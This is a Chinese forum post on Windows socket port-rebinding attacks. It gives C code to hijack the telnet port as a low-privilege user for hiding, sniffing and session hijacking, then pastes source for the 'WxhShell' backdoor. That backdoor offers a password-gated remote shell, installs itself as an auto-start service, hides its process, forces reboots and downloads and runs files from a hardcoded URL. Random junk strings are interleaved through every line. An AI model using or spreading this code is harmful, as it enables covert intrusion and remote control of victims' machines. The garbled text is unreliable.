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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BF>3CW7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); - +=+W  
w>$2  
  saddr.sin_family = AF_INET; *%xmCP J  
X3;|h93.a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); or1D 6 *'  
HX:rVHY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }[*BC5{>  
o  w<.Dh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {(!j6|jK  
F;^GhiQVS  
  这意味着什么?意味着可以进行如下的攻击: Wo+'j $k  
5//.q;z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SB' $?Kh  
}J&[Uc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N!&$fhY)  
[]rg'9B2b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <UcbBcW,  
4RV5:&ALLS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o Z#4<7K  
DU/WB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MH,vn</Uw  
@ \(*pa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Dk XB  
L5tSS=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #(G#O1+  
e8"?Qm7 J  
  #include kmXaLt2Z  
  #include .oFkx*Ln  
  #include >>C(y?g  
  #include    HO(9 )sK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U^$o< 2  
  int main() $pm5G} .  
  { Z@I.socA  
  WORD wVersionRequested; /HmD/E\  
  DWORD ret; FF"`F8-w>Z  
  WSADATA wsaData; Z ^tF  
  BOOL val; YI*Av+Z)  
  SOCKADDR_IN saddr; hw [G  
  SOCKADDR_IN scaddr; "`AIU}[_I  
  int err; `|i[*+WC  
  SOCKET s; GX+oA]  
  SOCKET sc;  D|[~Py  
  int caddsize; KC-q]  
  HANDLE mt; *VF UC:  
  DWORD tid;   |-c)OS3#D  
  wVersionRequested = MAKEWORD( 2, 2 ); /~Q2SrYH  
  err = WSAStartup( wVersionRequested, &wsaData ); yI 6AafS~  
  if ( err != 0 ) { W c"f  
  printf("error!WSAStartup failed!\n"); 'bpx  
  return -1; _f8<t=R  
  } v]tbs)x;h  
  saddr.sin_family = AF_INET; QDg\GA8|  
   \y9( b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @,RrAL }|  
)(|+z'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k%?fy  
  saddr.sin_port = htons(23); b{KpfbxcI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9oL/oL-J/  
  { (@H'7,  
  printf("error!socket failed!\n"); )h0F'MzW  
  return -1; pbe" w=<  
  } 'W/E*O6BY  
  val = TRUE; h<50jnH!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A7!=`yA$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }l/ !thzC  
  { h4 s!VK1X  
  printf("error!setsockopt failed!\n"); R&BbXSIDX  
  return -1; vt" 7[!O  
  } h9,ui^#d$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {%K(O$H#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {[ j+ y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AK/_^?zAs  
xA-O?s"CY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P d@y+|  
  { *t'q n   
  ret=GetLastError(); TM8WaH   
  printf("error!bind failed!\n"); t7#C&B  
  return -1; 8lo /BGxS>  
  } {]aB3  
  listen(s,2); &n.7~C]R  
  while(1) [WDtr8L  
  { AKVll  
  caddsize = sizeof(scaddr); gu[3L  
  //接受连接请求 0i2ZgOJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5fK#*(x  
  if(sc!=INVALID_SOCKET) mJaWzR  
  { }];8v+M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); + j._NRXRH  
  if(mt==NULL) /h=:heS4$  
  { V/Q~NX N  
  printf("Thread Creat Failed!\n"); \lVxlc0{?  
  break; `b^eRnpR  
  } OchIEF "N  
  } 72qbxPY13h  
  CloseHandle(mt); D=U"L-rRs  
  } t0*JinK I  
  closesocket(s); yp=(wcJ  
  WSACleanup(); D&f(h][hH?  
  return 0; }4PIpDL  
  }   XY]|OZ7(  
  DWORD WINAPI ClientThread(LPVOID lpParam) xeqAFq=9?  
  { 3"HpM\A{A=  
  SOCKET ss = (SOCKET)lpParam; Nj Ng=q  
  SOCKET sc; >z*2Og#1  
  unsigned char buf[4096]; ad).X:Qs  
  SOCKADDR_IN saddr; >qjQ;z[  
  long num; ULq#2l  
  DWORD val; `2S G{5o;  
  DWORD ret; xyK_1n@b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Re3vW re  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1/>#L6VAZ  
  saddr.sin_family = AF_INET; '"{ IV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _C3l 2v'I$  
  saddr.sin_port = htons(23); P>/n!1c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >E&m Np  
  { P%hi*0pwZ  
  printf("error!socket failed!\n"); v:c_q]z#B  
  return -1; hm=E~wv'L  
  } x j6-~<  
  val = 100; _@[M0t}g_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $~xY6"_}!!  
  { w:l/B '%]Y  
  ret = GetLastError(); lLy^@s  
  return -1; P8jXruZr  
  } \8%64ZL`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pCOr{I\  
  { =k#SQ/@  
  ret = GetLastError(); hX\z93an  
  return -1; eqK6`gHa6  
  } Fv \yhR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w) o^?9T  
  { d(RSn|[0  
  printf("error!socket connect failed!\n");  GU99!.$  
  closesocket(sc); 6@`Y6>}$_  
  closesocket(ss); UxZT&x3=)}  
  return -1; Zvd^<SP<?  
  } ;0Yeo"-  
  while(1) 5I ,5da  
  { bKsl'3~ k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .l$'%AG:~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dALJlRo"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $gm`}3C<  
  num = recv(ss,buf,4096,0); <^?64  
  if(num>0) rWKc,A[  
  send(sc,buf,num,0); Zi47)8  
  else if(num==0) |7Z7_YWs  
  break; (J(JB}[X,  
  num = recv(sc,buf,4096,0); f(Q-W6  
  if(num>0) KD9Y  
  send(ss,buf,num,0); ~C6Qp`VF  
  else if(num==0) ]K'iCYY  
  break; 6 <JiHVP7  
  } *i#m5f}  
  closesocket(ss); 1<RB}M  
  closesocket(sc); n5i#GvO^  
  return 0 ; MsMNP[-l  
  } D&q-L[tA@  
iJ HOLz"!  
eIjn~2^  
========================================================== b_xn80O  
p!<Y 'G  
下边附上一个代码,,WXhSHELL Zf~Em'g"3  
Gp.+&\vi  
========================================================== YNCQPN\v`1  
fMaUIJ:Q9  
#include "stdafx.h" j_ dCy  
HE0UcP1U  
#include <stdio.h> 6]#pPk8[Z  
#include <string.h> z mvF#o  
#include <windows.h> .Ua|KKK C  
#include <winsock2.h> )h-Qi#{  
#include <winsvc.h> N:Yjz^Jt  
#include <urlmon.h> {e4`D1B  
cx?t C#t  
#pragma comment (lib, "Ws2_32.lib") J%c4-'l  
#pragma comment (lib, "urlmon.lib") '1]Iu@?  
(rV#EA+6[`  
#define MAX_USER   100 // 最大客户端连接数 aW-'Jg=@H^  
#define BUF_SOCK   200 // sock buffer t><AaYij_  
#define KEY_BUFF   255 // 输入 buffer Wh4`Iv\.  
T/Q#V)Tp  
#define REBOOT     0   // 重启 yD|He*$S  
#define SHUTDOWN   1   // 关机 W|_^Oe<  
0U'g2F>{  
#define DEF_PORT   5000 // 监听端口 0`:B#ten  
#w3cImgp2  
#define REG_LEN     16   // 注册表键长度  u!TVvc  
#define SVC_LEN     80   // NT服务名长度 L=W8Q8hf  
[5$=G@ zf  
// 从dll定义API ng $`<~=)\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SB R=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QGE)Xn#_bN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <4Z;a2l}U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5!Y51R^c  
A<esMDX  
// wxhshell配置信息 6j9P`#Lt  
struct WSCFG { |V#h "s  
  int ws_port;         // 监听端口 Yhu 6QyRV  
  char ws_passstr[REG_LEN]; // 口令 ^W-03  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,Q~C F;qe  
  char ws_regname[REG_LEN]; // 注册表键名 h^#K4/  
  char ws_svcname[REG_LEN]; // 服务名 5(kRFb'31F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wmh[yYWc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |U}al[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V$O{s~@ti  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :_F$e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L7i^?40  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L=zt\L  
QF 2Eg  
}; l n}2   
/I@nPH<y  
// default Wxhshell configuration NQCJ '%L6  
struct WSCFG wscfg={DEF_PORT, "]|I;I"b  
    "xuhuanlingzhe", alM ^ X  
    1, -x i]~svg  
    "Wxhshell", ghq#-N/t  
    "Wxhshell", s UX%{|T_  
            "WxhShell Service", pq0F!XmU  
    "Wrsky Windows CmdShell Service", *gHGi(U(U  
    "Please Input Your Password: ", =sVB.P  
  1, I6}ine ps  
  "http://www.wrsky.com/wxhshell.exe", p7y8/m\6  
  "Wxhshell.exe" dY>oj<9  
    }; mup<%@7m  
PfKIaW<  
// 消息定义模块 =#qf0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vm NCknG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {%!.aQ,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >*v!2=  
char *msg_ws_ext="\n\rExit."; :BFecS&i5  
char *msg_ws_end="\n\rQuit."; *G|w#-\.c  
char *msg_ws_boot="\n\rReboot..."; r@;n \  
char *msg_ws_poff="\n\rShutdown..."; C^vB&3ghi  
char *msg_ws_down="\n\rSave to "; 0_7A <   
 h"<-^=b  
char *msg_ws_err="\n\rErr!"; u*/.   
char *msg_ws_ok="\n\rOK!"; B16,c9[  
cnfjO g'\{  
char ExeFile[MAX_PATH]; 6`$HBX%.K  
int nUser = 0; 0&!,+  
HANDLE handles[MAX_USER]; f"emH  
int OsIsNt; -:w+`x?XaB  
>q{E9.~b  
SERVICE_STATUS       serviceStatus; AN ;SRl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  f,utA3[  
vMOI&_[\z  
// 函数声明 <4!SQgL  
int Install(void); Z["[^=EP  
int Uninstall(void); JY4sB8  
int DownloadFile(char *sURL, SOCKET wsh); A8bDg:G1i  
int Boot(int flag); ;E? Z<3{  
void HideProc(void); ^^MVd@,i  
int GetOsVer(void); Lw EI   
int Wxhshell(SOCKET wsl); + D ,Nd=/  
void TalkWithClient(void *cs); WZkAlg7Z  
int CmdShell(SOCKET sock); lFMQT ;  
int StartFromService(void); 9/N=7<$  
int StartWxhshell(LPSTR lpCmdLine); Hk)IV"[R  
w#EP`aM2$=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u*#j;Xc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s>8;At-  
|7G +O+j  
// 数据结构和表定义 +AVYypql8K  
SERVICE_TABLE_ENTRY DispatchTable[] = A1{ 7g<k6  
{ ]oy>kRnb {  
{wscfg.ws_svcname, NTServiceMain}, wm>I;|gA)  
{NULL, NULL} 34lt?6%j  
}; Qo7]fnnaV  
/ekeU+j  
// 自我安装 }[a  
int Install(void)  c=? =u  
{ %J`cYn#  
  char svExeFile[MAX_PATH]; a#i;*J  
  HKEY key; ":t'} Eg=6  
  strcpy(svExeFile,ExeFile); &m@~R|  
1&_9 3  
// 如果是win9x系统,修改注册表设为自启动 E3bS Q  
if(!OsIsNt) { t#pF.!9=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x[]}Jf{t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "o+E9'Dm  
  RegCloseKey(key); I"/p^@IX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Er; @nOyD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t;ZA}>/  
  RegCloseKey(key); aYIAy]*1e  
  return 0; Q2wEt >0a  
    } g]B! 29M  
  } p BU,"Yy&  
} b(<#n6a}\  
else { q}vz]L&o  
[~cb&6|M  
// 如果是NT以上系统,安装为系统服务 3N8RZt1.b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &_mOw.  
if (schSCManager!=0) j*uc$hC"  
{ `?Wy;5-  
  SC_HANDLE schService = CreateService !1+yb.{\  
  ( KjK.Sv{N  
  schSCManager, B&J;yla6`d  
  wscfg.ws_svcname, :G+8%pUX]  
  wscfg.ws_svcdisp, Y*!J +A#  
  SERVICE_ALL_ACCESS, u,]?_bK)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {9(#X]'  
  SERVICE_AUTO_START, RLuA^ONI  
  SERVICE_ERROR_NORMAL, X%ii z  
  svExeFile, n)]]g3y2  
  NULL, Uy8r !9O  
  NULL, {FV_APL9_  
  NULL, Ja$Ple*XU8  
  NULL, &j4 1<A  
  NULL crx8+  
  ); 5X2&hG*  
  if (schService!=0) 5[^pU$Y  
  {  \*5`@>_  
  CloseServiceHandle(schService); v[S>   
  CloseServiceHandle(schSCManager); zoFCHs r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZaxBr  
  strcat(svExeFile,wscfg.ws_svcname); sxac( L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |3tq.JU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U Ps7{We W  
  RegCloseKey(key); RweK<Flo'S  
  return 0; 9 gt$z}oU  
    } ][Ne;F6  
  } lFHj]%Y  
  CloseServiceHandle(schSCManager); F(j vdq  
} .Sz<%d7XIQ  
} zCOzBL/1q  
g\%vkK&I  
return 1; D]NfA2B7  
} ,MH9e!  
9 U6cM-p?  
// 自我卸载 ]xO`c  
int Uninstall(void) +Usy  
{ |7 .WP;1  
  HKEY key; JA .J~3  
H}TzNs  
if(!OsIsNt) { a>1_|QB.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0FL PZaRP  
  RegDeleteValue(key,wscfg.ws_regname); lJe=z  
  RegCloseKey(key); Q& p'\6~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tvh)N{j  
  RegDeleteValue(key,wscfg.ws_regname); {5<3./5O  
  RegCloseKey(key); s,KE,$5F   
  return 0; x3dP`<   
  } 9?4EM^ -  
}  Fu@2gd  
} V\C$/8v  
else { Y!M&8;>  
e!+_U C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Hzd tR  
if (schSCManager!=0) #;l~Y}7'  
{ 9d4Agj M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b:OQ/  
  if (schService!=0) n2<#]2h  
  { gpo+-NnG  
  if(DeleteService(schService)!=0) { Ebmd[A&&  
  CloseServiceHandle(schService); irg% n  
  CloseServiceHandle(schSCManager); e;Iz K]kP  
  return 0; XMt5o&U1  
  } !nPwRK>  
  CloseServiceHandle(schService); EfTuHg$pe  
  } Vn4y^_H  
  CloseServiceHandle(schSCManager); =!@5!  
} gO{XD.s  
} KJ/ *BBf  
HY (|31  
return 1; *b< a@  
} v/\in'H~  
X- xN<S q  
// 从指定url下载文件 JYE[ 1M  
int DownloadFile(char *sURL, SOCKET wsh) L.5 /wg  
{ !KYX\HRW  
  HRESULT hr; ,!m][  
char seps[]= "/"; K'Gv+UC*6  
char *token; !N, Oe<  
char *file; hB]\vA7  
char myURL[MAX_PATH]; znNJ?  
char myFILE[MAX_PATH]; zjuU*$A4  
Tc{n]TV  
strcpy(myURL,sURL); "JHd F&  
  token=strtok(myURL,seps); 3&'u7e  
  while(token!=NULL) STfcx] L  
  { _{d0Nm  
    file=token; v5aHe_?lp  
  token=strtok(NULL,seps); x *p>l !  
  } x)+3SdH  
]VarO'  
GetCurrentDirectory(MAX_PATH,myFILE); 2swHJ.d\  
strcat(myFILE, "\\"); dZS v=UY)  
strcat(myFILE, file); o.)8  A8  
  send(wsh,myFILE,strlen(myFILE),0); #&L[?jEn  
send(wsh,"...",3,0); m2j&v$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SHc<`M'+  
  if(hr==S_OK) #osP"~{  
return 0; z2EZ0vZ  
else -d|Q|zF^x  
return 1; L)0j&  
b.Yl0Y  
} 1WArgR  
%fv;C  
// 系统电源模块 ]\fXy?2  
int Boot(int flag) 6 /A#P$G  
{ FCk4[qOp7  
  HANDLE hToken; |U~m8e&:  
  TOKEN_PRIVILEGES tkp; 8$c_M   
"s:eH"_s  
  if(OsIsNt) { J\WUBt-M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @|N'V"*MT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #u<^  
    tkp.PrivilegeCount = 1; I U Mt^z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2HxT+|~d6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 88K=jo))b  
if(flag==REBOOT) { R F)Qsa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WcG!6.U>  
  return 0; F|rJ{=x  
} ;q8tOvQ  
else { N2 vA/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W .B>"u  
  return 0; 47GL[ofY  
} {~Q9jg(A  
  } RB\0o,mw4  
  else { ~^6[SbVb  
if(flag==REBOOT) { Ezvm5~<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xaM? B7  
  return 0; o@p(8=x  
} PYOU=R%o`8  
else { zK*zT$<l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R')D~JJ<8a  
  return 0; O%w"bEr)N  
} UG]]Vk1d]  
} |=dmxfj@  
d]kP@flOV  
return 1; p1-bq:  
}  AU3Ou5  
u{H'evv0O  
// win9x进程隐藏模块 c@+;4Iz  
void HideProc(void) igoUKDNiQ-  
{ 0<,Q7onDD:  
~If{`zWoC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d G}.T_l  
  if ( hKernel != NULL ) $>72 g.B  
  { =nq9)4o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [f_4%Now  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rh8.kW-K_  
    FreeLibrary(hKernel); Bi!j re  
  } jK!Y-  
9PU9BYBG  
return; gwf *M3(  
} 1X5*V!u  
l> Mth+ ,b  
// 获取操作系统版本 (Wj2%*NT  
int GetOsVer(void) kLr6j-X  
{ Q%seV<!/  
  OSVERSIONINFO winfo; nJdO~0}3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gypE~@  
  GetVersionEx(&winfo); TAkM-iyH]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sRM3G]nUr  
  return 1; ?|&plf |  
  else \Y EV 5  
  return 0; \z/_vzz4  
} 34@f(^d+^  
bZ/4O*B  
// 客户端句柄模块 Cb{n4xKW6  
int Wxhshell(SOCKET wsl) .g|D  
{ \:ELO[(#|{  
  SOCKET wsh; 'CrBxaA]s  
  struct sockaddr_in client; &$'=SL(Z  
  DWORD myID; LC!ZeW35  
x vi&d1  
  while(nUser<MAX_USER) C*S%aR  
{ 6{XdLI  
  int nSize=sizeof(client); l~Em2@c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <])w@QOA#  
  if(wsh==INVALID_SOCKET) return 1; _li\b-  
2'R& K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +<^TyIJ0  
if(handles[nUser]==0) ][ ,NNXrc&  
  closesocket(wsh); :s Mc}k?9S  
else cY}Nr#%s@U  
  nUser++; Xv`c@n )  
  } Qp~W|zi(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0 .& B  
7\BGeI  
  return 0; :6^8Q,C1@  
} hhS]wM?B  
\F|L y >g  
// 关闭 socket A YC22(  
void CloseIt(SOCKET wsh) !kPZuU `T  
{  Tl.%7)  
closesocket(wsh); 'O\me  
nUser--; R*C  
ExitThread(0); xaiA?  
} 6.%V"l   
3$R^tY2UU  
// 客户端请求句柄 Jb~nu  
void TalkWithClient(void *cs) m[@7!.0=  
{ \"E-z.wW=  
P]Hcg|&  
  SOCKET wsh=(SOCKET)cs; Dn[iA~  
  char pwd[SVC_LEN]; 9Q!X~L|\S  
  char cmd[KEY_BUFF]; ,W'?F9Y\  
char chr[1]; {kLL&`ii  
int i,j; WsA(8Ck<  
^:b%Q O  
  while (nUser < MAX_USER) { w% Ug9  
g@&@ ]63  
if(wscfg.ws_passstr) { :QSCky*i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \XG18V&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %H-(-v^T*  
  //ZeroMemory(pwd,KEY_BUFF); #-QQ_  
      i=0; kUl:Yj=&  
  while(i<SVC_LEN) { (I?CW~3#  
b,?@_*qv+  
  // 设置超时 hBSci|*f  
  fd_set FdRead; u}Q@u!~e9  
  struct timeval TimeOut; K1P3 FfG  
  FD_ZERO(&FdRead); uW.)(l  
  FD_SET(wsh,&FdRead); nDR)UR  
  TimeOut.tv_sec=8; G(alM=q  
  TimeOut.tv_usec=0; u -CCUMR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a;Nj'M~U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HWr")%EhD  
. Q#X'j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); </K"\EU  
  pwd=chr[0]; hL\gI(B  
  if(chr[0]==0xd || chr[0]==0xa) { HiBw==vlV  
  pwd=0; G3j&8[  
  break; VfJbexYT  
  } N XwQvm;q  
  i++; x5Sc+5?*  
    } x<  Td  
F5CV<-jB  
  // 如果是非法用户,关闭 socket lP@/x+6tg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +^St"GWY  
} {9 >jWNx  
|eEcEu?/b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d83K;Ryd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zc<C %t[~y  
xh7#\m_U8  
while(1) { ,gR9~k,  
*k$":A  
  ZeroMemory(cmd,KEY_BUFF); NqsIMCl  
T)IH4UO  
      // 自动支持客户端 telnet标准   JRMe( ,u  
  j=0; B}= WxG|)  
  while(j<KEY_BUFF) { y<|vcg8x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9zj^\-FA_l  
  cmd[j]=chr[0]; C+ B`A9  
  if(chr[0]==0xa || chr[0]==0xd) { &yKUf  
  cmd[j]=0; w[>/(R7im  
  break; {+V1>6  
  } 3{mu7 7  
  j++; 0@R @L}m  
    } q4XS E,  
: "[dr~.  
  // 下载文件 D`;Q?f C  
  if(strstr(cmd,"http://")) { B!vI^W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4uU G0o  
  if(DownloadFile(cmd,wsh)) H];QDix?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yNk9KK)  
  else ( }DCy23  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kt,ENbF  
  } 6Xjr0 C+  
  else { EUv xil  
} k[gR I]  
    switch(cmd[0]) { qDqgU  
  `>@n6>f  
  // 帮助 Pv.z~~l Y  
  case '?': { Y4PB&pZ$O2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iJg3`1@j  
    break; :Mss"L820  
  } Q3Sw W  
  // 安装 q]%c 6{w  
  case 'i': { `I.Uw$,P  
    if(Install()) qMAH~P0u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;c5Q"  
    else *KP 60T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9aw- n*<  
    break; ~]71(u2  
    } o=`FGowF  
  // 卸载 *g$egipfF  
  case 'r': { X<4h"W6  
    if(Uninstall()) gi;#?gps  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~eH+*U|\|M  
    else \lVX~r4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %DAF2 6t  
    break; 9}`A_KzFx  
    } 1uTbN  
  // 显示 wxhshell 所在路径 #D"fCVIS  
  case 'p': { _"8\k 7S*  
    char svExeFile[MAX_PATH]; kve{CO*  
    strcpy(svExeFile,"\n\r"); b {e nD  
      strcat(svExeFile,ExeFile); 8=^o2&  
        send(wsh,svExeFile,strlen(svExeFile),0); MtAD&+3$  
    break; m/"\+Hv  
    } Z:|2PQ4  
  // 重启 * %p6+D-C  
  case 'b': { CVsc#=w0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @P:  
    if(Boot(REBOOT)) W{\){fr6O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;mV,r,\dH  
    else { W`fE@*k0  
    closesocket(wsh); 2nOoG/6 E  
    ExitThread(0); #`6A}/@.+  
    } bdiyS.a-  
    break; ZFy>Z:&S,  
    } 6g@@V=mf  
  // 关机 [{F8+a^  
  case 'd': { oLcOp.8h[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L 6){wQ%c  
    if(Boot(SHUTDOWN)) wVD-}n1"  
